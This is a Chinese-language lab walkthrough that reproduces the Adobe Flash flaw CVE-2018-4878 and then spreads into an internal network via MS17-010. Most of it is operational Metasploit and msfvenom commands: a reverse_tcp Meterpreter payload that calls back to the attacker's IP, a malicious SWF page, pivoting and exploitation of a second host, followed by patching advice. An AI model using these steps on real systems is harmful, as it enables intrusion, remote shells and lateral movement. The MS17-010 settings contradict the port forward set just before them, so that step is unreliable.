内网环境复现CVE - 2018 - 4878
字数 1743 2025-12-02 10:42:52
CVE-2018-4878 Adobe Flash漏洞分析与复现指南
1. 漏洞概述
CVE-2018-4878是Adobe Flash Player中的一个高危远程代码执行漏洞,影响28.0.0.137及之前的所有版本。该漏洞最早由韩国计算机应急小组(KR-CERT)在2017年底发现,Adobe于2018年2月1日发布安全通报(APSA18-01),直到2018年2月5日才发布补丁修复。
漏洞特点:
- 攻击者可通过构造特殊的Flash链接进行利用
- 用户通过浏览器、邮件或Office访问恶意Flash链接时会被远程代码执行
- 可直接获取目标系统shell权限
- 在补丁发布前已被野外利用
2. 环境准备
2.1 实验环境拓扑
外网:
└─ 攻击机(Kali Linux)
├─ IP: 192.168.28.136
内网:
├─ 靶机1(Windows 7 x64)
│ ├─ 外网IP: 192.168.28.129
│ └─ 内网IP: 192.168.211.128
│ └─ 安装Adobe Flash 28.0.0.137
└─ 靶机2(Windows Server 2003)
└─ IP: 192.168.211.129
2.2 所需工具
- Metasploit Framework
- Apache2服务
- Python环境
- Adobe Flash Player 28.0.0.137(漏洞版本)
3. 漏洞复现步骤
3.1 生成恶意载荷
使用msfvenom生成反向TCP连接的shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.28.136 LPORT=8888 -f python > shellcode.txt
参数说明:
-p windows/meterpreter/reverse_tcp:指定payload类型LHOST:攻击机(Kali)的IP地址LPORT:监听端口-f python:输出格式为Python
3.2 编写漏洞利用程序
使用Python编写CVE-2018-4878漏洞利用程序(cve-2018-4878.py),关键步骤:
- 将生成的shellcode替换原程序中的buf变量
- 修改相关参数以匹配目标环境
- 执行脚本生成两个文件:
- index2.html(恶意网页)
- exploit.swf(恶意Flash文件)
执行命令:
python cve-2018-4878.py
3.3 搭建Web服务
- 启动Apache2服务:
service apache2 start
- 将生成的文件复制到Web目录:
cp index2.html /var/www/html/index2.html
cp exploit.swf /var/www/html/exploit.swf
3.4 设置监听
- 启动Metasploit框架:
service postgresql start
msfdb init
msfconsole
- 配置handler监听模块:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.28.136
set LPORT 8888
exploit
3.5 触发漏洞
让靶机1(Windows 7)访问攻击机搭建的Web页面:
http://192.168.28.136/index2.html
成功利用后,Metasploit将获得meterpreter会话,可执行以下命令验证:
ifconfig:查看网络配置getuid:获取当前用户sysinfo:获取系统信息ps:查看进程列表
4. 内网渗透扩展
4.1 内网信息收集
在meterpreter会话中:
run get_local_subnets # 查询本地子网
run autoroute -s 192.168.211.0/24 # 添加静态路由
run autoroute -p # 查看路由表
4.2 扫描内网漏洞
使用永恒之蓝(MS17-010)扫描模块:
background # 退出meterpreter
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.211.0/24
set THREADS 50
run
4.3 内网攻击
发现靶机2(192.168.211.129)存在MS17-010漏洞后:
- 设置端口转发:
sessions 1
portfwd add -l 5555 -p 6666 -r 192.168.211.129
portfwd add -l 4445 -r 192.168.211.129 -p 445
- 利用永恒之蓝漏洞:
use exploit/windows/smb/ms17_010_psexec
set RHOST 192.168.28.136
set RPORT 445
set PAYLOAD windows/meterpreter/bind_tcp
set LPORT 2222
exploit
成功后可获取靶机2的meterpreter会话。
5. 防护措施
-
立即更新:到Adobe官网下载最新版Flash Player
- 官方下载地址:https://get.adobe.com/cn/flashplayer/
-
安全配置:
- 禁用不必要的Flash内容
- 在浏览器中限制Flash运行
-
安全软件:
- 安装杀毒软件并保持实时防护开启
- 确保杀毒引擎保持最新
-
长期方案:
- 考虑完全移除Flash Player(Adobe已于2020年底停止支持)
- 使用HTML5等现代技术替代Flash
6. 技术原理分析
CVE-2018-4878是一个类型混淆漏洞,位于Flash Player处理Flash内容的过程中。攻击者通过精心构造的SWF文件,利用Flash Player对对象类型处理不当的缺陷,导致内存破坏,最终实现任意代码执行。
漏洞利用链:
- 恶意SWF文件触发类型混淆
- 导致内存破坏,绕过安全机制
- 执行嵌入的shellcode
- 建立反向连接获取系统控制权
7. 参考资源
- Adobe安全公告APSA18-01
- KR-CERT漏洞报告
- Metasploit模块文档
- CVE官方描述:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-4878
本教学文档详细记录了CVE-2018-4878漏洞的复现过程,从环境搭建到漏洞利用,再到内网横向渗透,最后提供了防护建议。请注意,此文档仅用于安全研究和教育目的,未经授权对他人系统进行测试是违法行为。